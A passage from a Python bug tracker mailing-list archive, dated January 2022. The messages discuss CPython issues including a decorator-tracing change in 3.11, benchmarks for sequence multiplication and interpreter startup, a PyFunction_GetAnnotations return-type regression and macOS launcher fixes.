1; PyErr_NoMemory(); } if (p->error_indicator) { p->level--; return NULL; } This is two "unlikely" branches in a row, and the first sets the variable tested by the second. Maybe this causes the processor to stall? Also, maybe it would be wiser to use ++X instead of X++? (Though a good compiler would just change X++ == Y into ++X == Y+1.) Anyway, without a way to reproduce, there's not much that can be done. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:52:08 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 02 Jan 2022 22:52:08 +0000 Subject: [issue46233] Minor speedup for bigint squaring In-Reply-To: <1641163706.78.0.392911165646.issue46233@roundup.psfhosted.org> Message-ID: <1641163928.28.0.192021425749.issue46233@roundup.psfhosted.org> Change by Tim Peters : ---------- keywords: +patch pull_requests: +28557 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30345 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:00:16 2022 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 Jan 2022 23:00:16 +0000 Subject: [issue41028] Move docs.python.org language and version switcher out of cpython In-Reply-To: <1592516133.76.0.0424010515361.issue41028@roundup.psfhosted.org> Message-ID: <1641164416.46.0.110306295389.issue41028@roundup.psfhosted.org> Ned Deily added the comment: New changeset 811f65ba263140b6ba28151246b52efe149a6382 by Ned Deily in branch '3.7': bpo-41028: use generic version links in Docs index. https://github.com/python/cpython/commit/811f65ba263140b6ba28151246b52efe149a6382 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:04:42 2022 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 Jan 2022 23:04:42 +0000 Subject: [issue41028] Move docs.python.org language and version switcher out of cpython In-Reply-To: <1592516133.76.0.0424010515361.issue41028@roundup.psfhosted.org> Message-ID: <1641164682.32.0.0323805272571.issue41028@roundup.psfhosted.org> Ned Deily added the comment: New changeset b28b0222e360669463ffe31d27c1fd374361cb23 by Miss Islington (bot) in branch '3.9': bpo-41028: Doc: Move switchers to docsbuild-scripts. (GH-20969) (GH-30343) https://github.com/python/cpython/commit/b28b0222e360669463ffe31d27c1fd374361cb23 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:11:47 2022 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 Jan 2022 23:11:47 +0000 Subject: [issue41028] Move docs.python.org language and version switcher out of cpython In-Reply-To: <1592516133.76.0.0424010515361.issue41028@roundup.psfhosted.org> Message-ID: <1641165107.07.0.350879509395.issue41028@roundup.psfhosted.org> Ned Deily added the comment: I went ahead and auto-backported the full PR to 3.9 and 3.8 since it applies cleanly there and did a manual backport of just the sidebar changes to 3.7 and 3.6 (added in the final merge before EOL). Now just awaiting @ambv approval for 3.8. For reference, compare old vs new "Docs by version" sidebar on the index pages: https://docs.python.org/release/3.9.9/ https://docs.python.org/release/3.10.1/ ---------- nosy: +lukasz.langa resolution: -> fixed stage: patch review -> commit review status: open -> pending versions: +Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:14:57 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 02 Jan 2022 23:14:57 +0000 Subject: [issue46234] 3.11: Tracing of decorators now visits the decorator line before the decorator function Message-ID: <1641165297.61.0.31884920399.issue46234@roundup.psfhosted.org> New submission from Ned Batchelder : Sometime after 3.11.0a3, tracing of decorators changed so that each decorator line is revisited as the decorator is invoked. Is this intentional? ---< dectrace.py >----------------------------------- import linecache, sys def trace(frame, event, arg): # The weird globals here is to avoid a NameError on shutdown... if frame.f_code.co_filename == globals().get("__file__"): lineno = frame.f_lineno print("{} {}: {}".format(event[:4], lineno, linecache.getline(__file__, lineno).rstrip())) return trace print(sys.version) sys.settrace(trace) def decorator(func): return func def doit(): @decorator @decorator @decorator def func(x): return x + 1 print(func(1)) doit() ----------------------------------------------------- Running it on 3.10, 3.11.0a3, and latest 3.11. The last run has the new line hightlighted with <<<<<: $ python3.10 dectrace.py 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] call 16: def doit(): line 17: @decorator line 18: @decorator line 19: @decorator line 20: def func(x): call 13: def decorator(func): line 14: return func retu 14: return func call 13: def decorator(func): line 14: return func retu 14: return func call 13: def decorator(func): line 14: return func retu 14: return func line 23: print(func(1)) call 17: @decorator line 21: return x + 1 retu 21: return x + 1 2 retu 23: print(func(1)) $ python3.11 dectrace.py 3.11.0a3 (main, Dec 9 2021, 12:22:18) [Clang 12.0.0 (clang-1200.0.32.29)] call 16: def doit(): line 17: @decorator line 18: @decorator line 19: @decorator line 20: def func(x): call 13: def decorator(func): line 14: return func retu 14: return func call 13: def decorator(func): line 14: return func retu 14: return func call 13: def decorator(func): line 14: return func retu 14: return func line 23: print(func(1)) call 17: @decorator line 21: return x + 1 retu 21: return x + 1 2 retu 23: print(func(1)) $ /usr/local/cpython/bin/python3.11 dectrace.py 3.11.0a3+ (heads/main:a82baed0e9, Jan 2 2022, 08:12:01) [Clang 12.0.0 (clang-1200.0.32.29)] call 16: def doit(): line 17: @decorator line 18: @decorator line 19: @decorator line 20: def func(x): line 19: @decorator <<<<< call 13: def decorator(func): line 14: return func retu 14: return func line 18: @decorator <<<<< call 13: def decorator(func): line 14: return func retu 14: return func line 17: @decorator <<<<< call 13: def decorator(func): line 14: return func retu 14: return func line 20: def func(x): line 23: print(func(1)) call 17: @decorator line 21: return x + 1 retu 21: return x + 1 2 retu 23: print(func(1)) (this might or might not be related to https://bugs.python.org/issue37971) ---------- components: Interpreter Core keywords: 3.11regression messages: 409539 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: 3.11: Tracing of decorators now visits the decorator line before the decorator function type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:22:46 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 02 Jan 2022 23:22:46 +0000 Subject: [issue46219] except* assumes that an exception group is truthy In-Reply-To: <1641033767.24.0.115105620821.issue46219@roundup.psfhosted.org> Message-ID: <1641165766.33.0.957456497696.issue46219@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 65e7c1f90e9136fc61f4af029b065d9f6c5664c3 by Irit Katriel in branch 'main': bpo-46219, 46221: simplify except* implementation following exc_info changes. Move helpers to exceptions.c. Do not assume that exception groups are truthy. (GH-30289) https://github.com/python/cpython/commit/65e7c1f90e9136fc61f4af029b065d9f6c5664c3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:23:19 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 02 Jan 2022 23:23:19 +0000 Subject: [issue46219] except* assumes that an exception group is truthy In-Reply-To: <1641033767.24.0.115105620821.issue46219@roundup.psfhosted.org> Message-ID: <1641165799.41.0.890029971148.issue46219@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:23:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 02 Jan 2022 23:23:49 +0000 Subject: [issue46221] Simplify except* implementation and move helpers to exceptions.c In-Reply-To: <1641045547.05.0.955654567857.issue46221@roundup.psfhosted.org> Message-ID: <1641165829.03.0.649983469556.issue46221@roundup.psfhosted.org> Irit Katriel added the comment: Fixed in https://github.com/python/cpython/pull/30289. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:31:02 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 02 Jan 2022 23:31:02 +0000 Subject: [issue46229] CODE_OF_CONDUCT shadowing org default In-Reply-To: <1641155116.49.0.691257397106.issue46229@roundup.psfhosted.org> Message-ID: <1641166262.61.0.543987213199.issue46229@roundup.psfhosted.org> miss-islington added the comment: New changeset fedefa67350c72dde121f68cbe7aa70face6805e by Nikita Sobolev in branch 'main': bpo-46229: remove `CODE_OF_CONDUCT.md` to use org default (GH-30342) https://github.com/python/cpython/commit/fedefa67350c72dde121f68cbe7aa70face6805e ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:31:09 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 23:31:09 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641166269.44.0.718575068535.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: This are my results running directly the pyperformance run script (https://github.com/python/pyperformance/blob/main/pyperformance/data-files/benchmarks/bm_python_startup/run_benchmark.py) with and without the fix (both PGO/LTO): pablogsal at Obsidian-W:~$ ./cpython/python startup_benchmark.py --compare-to ./cpython_base/python python_with_fix: ..................... 8.14 ms +- 0.17 ms python_with_reverted_fix: ..................... 8.05 ms +- 0.16 ms Mean +- std dev: [python_with_fix] 8.14 ms +- 0.16 ms -> [python_with_reverted_fix] 8.05 ms +- 0.17 ms: 1.01x faster ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:35:06 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 23:35:06 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641166506.55.0.862813736892.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I am not able to reproduce on Linux either, with pyperformance or manual testing in the CLI. Interestingle, this shows up in both machines: https://speed.python.org/timeline/#/?exe=12&ben=python_startup&env=1&revs=50&equid=off&quarts=on&extr=on https://speed.python.org/timeline/#/?exe=12&ben=python_startup&env=4&revs=50&equid=off&quarts=on&extr=on ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:41:14 2022 From: report at bugs.python.org (Mariatta) Date: Sun, 02 Jan 2022 23:41:14 +0000 Subject: [issue46229] CODE_OF_CONDUCT shadowing org default In-Reply-To: <1641155116.49.0.691257397106.issue46229@roundup.psfhosted.org> Message-ID: <1641166874.85.0.267586836828.issue46229@roundup.psfhosted.org> Mariatta added the comment: Thanks! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:49:54 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 02 Jan 2022 23:49:54 +0000 Subject: [issue46235] Do all ref-counting at once for sequence multiplication Message-ID: <1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org> New submission from Dennis Sweeney : Some benchmarks for this change are below. The case with the largest speedup, `[None] * 10000`, is the case that I would consider the most important: initializing counters of the form `[0] * N` is very common in my experience. The following were taken from a PGO build on Windows without CPU isolation, so take them with a grain of salt: Slower (16): - [None] * 2: 61.6 ns +- 3.3 ns -> 71.0 ns +- 1.5 ns: 1.15x slower - list(range(10)) * 10000: 205 us +- 49 us -> 232 us +- 93 us: 1.13x slower - ["Python", "Perl"] * 10000: 31.4 us +- 4.3 us -> 34.4 us +- 0.2 us: 1.10x slower - list(range(100)) * 2: 370 ns +- 12 ns -> 395 ns +- 14 ns: 1.07x slower - list(range(10)) * 2: 81.5 ns +- 2.8 ns -> 86.9 ns +- 2.4 ns: 1.07x slower - [None] * 10: 72.3 ns +- 2.2 ns -> 75.8 ns +- 2.1 ns: 1.05x slower - ["Python", "Perl"] * 100: 442 ns +- 67 ns -> 463 ns +- 4 ns: 1.05x slower - tuple(range(10)) * 2: 88.2 ns +- 2.9 ns -> 91.9 ns +- 2.7 ns: 1.04x slower - ("Python", "Perl") * 10: 92.6 ns +- 7.8 ns -> 96.0 ns +- 4.5 ns: 1.04x slower - ["Python", "Perl"] * 10: 86.1 ns +- 4.2 ns -> 89.1 ns +- 2.7 ns: 1.04x slower - (None,) * 10: 69.4 ns +- 1.9 ns -> 71.2 ns +- 3.1 ns: 1.03x slower - ["Python", "Perl"] * 2: 63.9 ns +- 2.6 ns -> 65.3 ns +- 1.4 ns: 1.02x slower - (None,) * 2: 54.0 ns +- 0.7 ns -> 55.1 ns +- 2.1 ns: 1.02x slower - ("Python", "Perl") * 2: 57.5 ns +- 3.0 ns -> 58.6 ns +- 2.4 ns: 1.02x slower - list(range(10)) * 10: 238 ns +- 8 ns -> 242 ns +- 7 ns: 1.02x slower - tuple(range(100)) * 2: 414 ns +- 19 ns -> 420 ns +- 6 ns: 1.02x slower Faster (22): - [None] * 10000: 25.1 us +- 0.2 us -> 12.8 us +- 0.2 us: 1.97x faster - tuple(range(10)) * 10000: 255 us +- 91 us -> 176 us +- 77 us: 1.45x faster - tuple(range(1000)) * 10: 17.8 us +- 0.3 us -> 12.4 us +- 0.1 us: 1.44x faster - [None] * 100: 355 ns +- 11 ns -> 251 ns +- 7 ns: 1.41x faster - list(range(1000)) * 10: 16.8 us +- 0.2 us -> 12.5 us +- 0.1 us: 1.34x faster - tuple(range(100)) * 100: 15.9 us +- 0.2 us -> 12.7 us +- 0.2 us: 1.26x faster - tuple(range(10)) * 100: 1.63 us +- 0.02 us -> 1.33 us +- 0.01 us: 1.23x faster - tuple(range(1000)) * 2: 3.61 us +- 0.06 us -> 2.93 us +- 0.03 us: 1.23x faster - list(range(100)) * 100: 13.8 us +- 0.3 us -> 11.2 us +- 0.1 us: 1.23x faster - tuple(range(100)) * 10: 1.68 us +- 0.02 us -> 1.40 us +- 0.01 us: 1.20x faster - tuple(range(1000)) * 100: 240 us +- 87 us -> 200 us +- 102 us: 1.20x faster - tuple(range(1000)) * 10000: 33.8 ms +- 0.8 ms -> 28.3 ms +- 1.5 ms: 1.19x faster - list(range(1000)) * 10000: 33.9 ms +- 0.9 ms -> 28.6 ms +- 1.4 ms: 1.19x faster - list(range(100)) * 10: 1.47 us +- 0.10 us -> 1.25 us +- 0.01 us: 1.18x faster - list(range(10)) * 100: 1.41 us +- 0.02 us -> 1.22 us +- 0.02 us: 1.16x faster - list(range(100)) * 10000: 3.15 ms +- 0.13 ms -> 2.79 ms +- 0.13 ms: 1.13x faster - list(range(1000)) * 2: 3.32 us +- 0.07 us -> 2.94 us +- 0.04 us: 1.13x faster - tuple(range(100)) * 10000: 3.24 ms +- 0.13 ms -> 2.88 ms +- 0.14 ms: 1.13x faster - (None,) * 10000: 26.7 us +- 0.2 us -> 24.1 us +- 0.2 us: 1.11x faster - tuple(range(10)) * 10: 258 ns +- 7 ns -> 249 ns +- 6 ns: 1.04x faster - ("Python", "Perl") * 100: 438 ns +- 7 ns -> 436 ns +- 7 ns: 1.01x faster - ("Python", "Perl") * 10000: 31.1 us +- 0.3 us -> 30.9 us +- 0.2 us: 1.01x faster Benchmark hidden because not significant (2): list(range(1000)) * 100, (None,) * 100 Geometric mean: 1.10x faster ---------- components: Interpreter Core messages: 409546 nosy: Dennis Sweeney priority: normal severity: normal status: open title: Do all ref-counting at once for sequence multiplication type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:52:46 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 02 Jan 2022 23:52:46 +0000 Subject: [issue46235] Do all ref-counting at once for sequence multiplication In-Reply-To: <1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org> Message-ID: <1641167566.36.0.868994968838.issue46235@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- keywords: +patch pull_requests: +28558 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30346 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 19:09:21 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 03 Jan 2022 00:09:21 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641168561.12.0.50780260411.issue46110@roundup.psfhosted.org> Terry J. Reedy added the comment: Does python_startup benchmark start with all modules parsed and __pycache__d, or with no cache, so it includes the normally one-time parse time? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 19:19:50 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 03 Jan 2022 00:19:50 +0000 Subject: [issue46235] Do all ref-counting at once for sequence multiplication In-Reply-To: <1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org> Message-ID: <1641169190.63.0.0230967679599.issue46235@roundup.psfhosted.org> Dennis Sweeney added the comment: # benchmarking script from pyperf import Runner runner = Runner() for n in [2, 10, 100, 10_000]: for A in [ '[None]', '["Python", "Perl"]', 'list(range(10))', 'list(range(100))', 'list(range(1000))', '(None,)', '("Python", "Perl")', 'tuple(range(10))', 'tuple(range(100))', 'tuple(range(1000))', ]: runner.timeit( name=f"{A} * {n}", setup=f"x = {A}", stmt=f"x * {n}", ) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 19:21:41 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 00:21:41 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641169301.53.0.0677649330296.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Does python_startup benchmark start with all modules parsed and __pycache__d, or with no cache, so it includes the normally one-time parse time? I don't know what pyperf does with the cache (adding Victor as maybe he knowns). ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 19:30:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 00:30:37 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641169837.06.0.759570871277.issue34931@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch nosy: +iritkatriel nosy_count: 5.0 -> 6.0 pull_requests: +28559 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30347 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 19:34:31 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 03 Jan 2022 00:34:31 +0000 Subject: [issue46182] `super` and descriptor clarification In-Reply-To: <1640533114.63.0.779589080472.issue46182@roundup.psfhosted.org> Message-ID: <1641170071.34.0.992253691638.issue46182@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 19:39:41 2022 From: report at bugs.python.org (jack1142) Date: Mon, 03 Jan 2022 00:39:41 +0000 Subject: [issue39181] Add `os.makedirs()` as `Path.mkdir()` equivalent in correspondence table In-Reply-To: <1577897596.74.0.989558678168.issue39181@roundup.psfhosted.org> Message-ID: <1641170381.34.0.288725351272.issue39181@roundup.psfhosted.org> jack1142 added the comment: Looks like this has been reported again in https://bugs.python.org/issue39470 and a fix for it has already been merged. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 19:46:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 00:46:47 +0000 Subject: [issue44669] TypeError: 'type' object is not subscriptable In-Reply-To: <1626639901.47.0.668651753174.issue44669@roundup.psfhosted.org> Message-ID: <1641170807.65.0.856058385603.issue44669@roundup.psfhosted.org> Irit Katriel added the comment: I'm closing this because there is not enough information here to understand the issue and there was no reply to follow-up questions. Please reopen or create a new issue if you are still having a problem with this. ---------- nosy: +iritkatriel resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 20:14:18 2022 From: report at bugs.python.org (Shantanu) Date: Mon, 03 Jan 2022 01:14:18 +0000 Subject: [issue40059] Provide a toml module in the standard library In-Reply-To: <1585119261.47.0.818238682424.issue40059@roundup.psfhosted.org> Message-ID: <1641172458.67.0.429260916597.issue40059@roundup.psfhosted.org> Shantanu added the comment: We've started a PEP draft. https://github.com/hauntsaninja/peps/blob/toml-pep/pep-9999.rst shows a rendered version. https://github.com/hauntsaninja/peps/pull/1 is a PR from the toml-pep branch to main, to help ease of review / discussion. If you're following along and need to get your bearings straight, here are the recently active locations of discussion: - this issue - https://github.com/hukkin/tomli/issues/141 - https://discuss.python.org/t/adopting-recommending-a-toml-parser/4068/84 - https://github.com/hauntsaninja/peps/pull/1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 20:21:01 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 01:21:01 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641172861.43.0.40252494936.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Ran pyperformance with PGO/LTO CPU-isol on my Linux box and I cannot reproduce either: ? pyperf compare_to json/* --table --table-format=md -G | Benchmark | 2021-12-20_10-23-master-6ca78affc802 | 2021-12-20_15-43-master-e9898bf153d2 | |----------------|:------------------------------------:|:------------------------------------:| | python_startup | 19.7 ms | 19.0 ms: 1.03x faster | ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 20:42:39 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 03 Jan 2022 01:42:39 +0000 Subject: [issue46148] Optimize pathlib In-Reply-To: <1640163600.5.0.408738563991.issue46148@roundup.psfhosted.org> Message-ID: <1641174159.91.0.276217653472.issue46148@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- pull_requests: +28560 pull_request: https://github.com/python/cpython/pull/27828 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 21:53:22 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 03 Jan 2022 02:53:22 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641178402.36.0.272614347252.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: Maybe something unrelated changed on the benchmark machines? (Like installing a new version of pyperformance???) Though it happened across both benchmark machines. What configuration and flags are being used to run the benchmark suite on that machine? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 22:16:05 2022 From: report at bugs.python.org (Daniel McCarney) Date: Mon, 03 Jan 2022 03:16:05 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict Message-ID: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> New submission from Daniel McCarney : Hi there, This is my first Python bug, hope I haven't missed anything important. I noticed that the PyFunction_GetAnnotations function from the C API is returning a PyTuple when I link Python 3.10 where historically it returned a PyDict. The documentation for PyFunction_GetAnnotations for 3.10 (here[0]) says its return can be: > a mutable dictionary or NULL I'm not sure if: * This is user error and I should adapt to this case in my dependent code when using Python 3.10+. * This is a documentation error, and it should say "a mutable dictionary, set, or NULL" * This is a regression in the C API that should be fixed. I've made a small reproduction program (here[1]) that can be used to quickly demonstrate the difference in return type between the two Python versions for the same C program and .py inputs. I also noticed that issue42202 (here[2]) landed an optimization in 3.10.x that changed the internal representation of annotations to a set - could that possibly be related? I'm not 100% sure! Thanks! [0]: https://docs.python.org/3/c-api/function.html#c.PyFunction_GetAnnotations [1]: https://github.com/cpu/pyfunction_getannotations_test [2]: https://bugs.python.org/issue42202 ---------- components: C API messages: 409555 nosy: cpu priority: normal severity: normal status: open title: PyFunction_GetAnnotations returning Tuple vs Dict versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 22:20:40 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 03:20:40 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641180040.45.0.686297438517.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Maybe something unrelated changed on the benchmark machines? Very unlikely, it happened on two separate machines with different distributions and nothing was updated in the machines that I can see. Both use a configuration file for pyperformance that looks like this: ------------- $ cat bench.conf [config] json_dir = ~/json_cron [scm] repo_dir = ~/cpython_cron update = True remote = origin [compile] lto = True pgo = True bench_dir = ~/bench_tmpdir_cron [run_benchmark] system_tune = True upload = False [upload] url = https://speed.python.org/ environment = speed-python executable = lto-pgo project = CPython [compile_all] [compile_all_revisions] COMMIT_SHA=master ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 23:30:24 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 03 Jan 2022 04:30:24 +0000 Subject: [issue42202] Optimize function annotation In-Reply-To: <1604040435.44.0.369975398522.issue42202@roundup.psfhosted.org> Message-ID: <1641184224.23.0.0466596303838.issue42202@roundup.psfhosted.org> Dennis Sweeney added the comment: I believe this change accidentally affected the API of PyFunction_GetAnnotations: previously it would only return dict or NULL, now it can also return a tuple. See bpo-46236 ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 23:30:36 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 03 Jan 2022 04:30:36 +0000 Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict In-Reply-To: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> Message-ID: <1641184236.59.0.0357510420863.issue46236@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 23:32:27 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 04:32:27 +0000 Subject: [issue42202] Optimize function annotation In-Reply-To: <1604040435.44.0.369975398522.issue42202@roundup.psfhosted.org> Message-ID: <1641184347.68.0.107335960254.issue42202@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 00:18:46 2022 From: report at bugs.python.org (Sardorbek Imomaliev) Date: Mon, 03 Jan 2022 05:18:46 +0000 Subject: [issue46224] doc: Fix bisect example using mutable function default In-Reply-To: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> Message-ID: <1641187126.6.0.593631234989.issue46224@roundup.psfhosted.org> Sardorbek Imomaliev added the comment: Understood, thanks for clarification. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 00:51:10 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 05:51:10 +0000 Subject: [issue40477] Python Launcher app on macOS 10.15+ fails to run scripts In-Reply-To: <1588435279.1.0.0339863635356.issue40477@roundup.psfhosted.org> Message-ID: <1641189070.65.0.562687086617.issue40477@roundup.psfhosted.org> Change by Ned Deily : ---------- keywords: +patch pull_requests: +28561 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30348 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:20:14 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 06:20:14 +0000 Subject: [issue40477] Python Launcher app on macOS 10.15+ fails to run scripts In-Reply-To: <1588435279.1.0.0339863635356.issue40477@roundup.psfhosted.org> Message-ID: <1641190814.44.0.156203688545.issue40477@roundup.psfhosted.org> Ned Deily added the comment: New changeset 549e62827262264cda30455e10e315602129da72 by Ned Deily in branch 'main': bpo-40477: macOS Python Launcher app fixes for recent macOS releases (GH-30348) https://github.com/python/cpython/commit/549e62827262264cda30455e10e315602129da72 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:20:14 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 06:20:14 +0000 Subject: [issue40477] Python Launcher app on macOS 10.15+ fails to run scripts In-Reply-To: <1588435279.1.0.0339863635356.issue40477@roundup.psfhosted.org> Message-ID: <1641190814.75.0.467929593673.issue40477@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28563 pull_request: https://github.com/python/cpython/pull/30350 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:20:09 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 06:20:09 +0000 Subject: [issue40477] Python Launcher app on macOS 10.15+ fails to run scripts In-Reply-To: <1588435279.1.0.0339863635356.issue40477@roundup.psfhosted.org> Message-ID: <1641190809.83.0.625383462871.issue40477@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +28562 pull_request: https://github.com/python/cpython/pull/30349 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:44:42 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 06:44:42 +0000 Subject: [issue40477] Python Launcher app on macOS 10.15+ fails to run scripts In-Reply-To: <1588435279.1.0.0339863635356.issue40477@roundup.psfhosted.org> Message-ID: <1641192282.44.0.604214602557.issue40477@roundup.psfhosted.org> Ned Deily added the comment: New changeset b312794de0f78da15593d059f09b4071d95c0d0e by Miss Islington (bot) in branch '3.10': bpo-40477: macOS Python Launcher app fixes for recent macOS releases (GH-30348) (GH-30349) 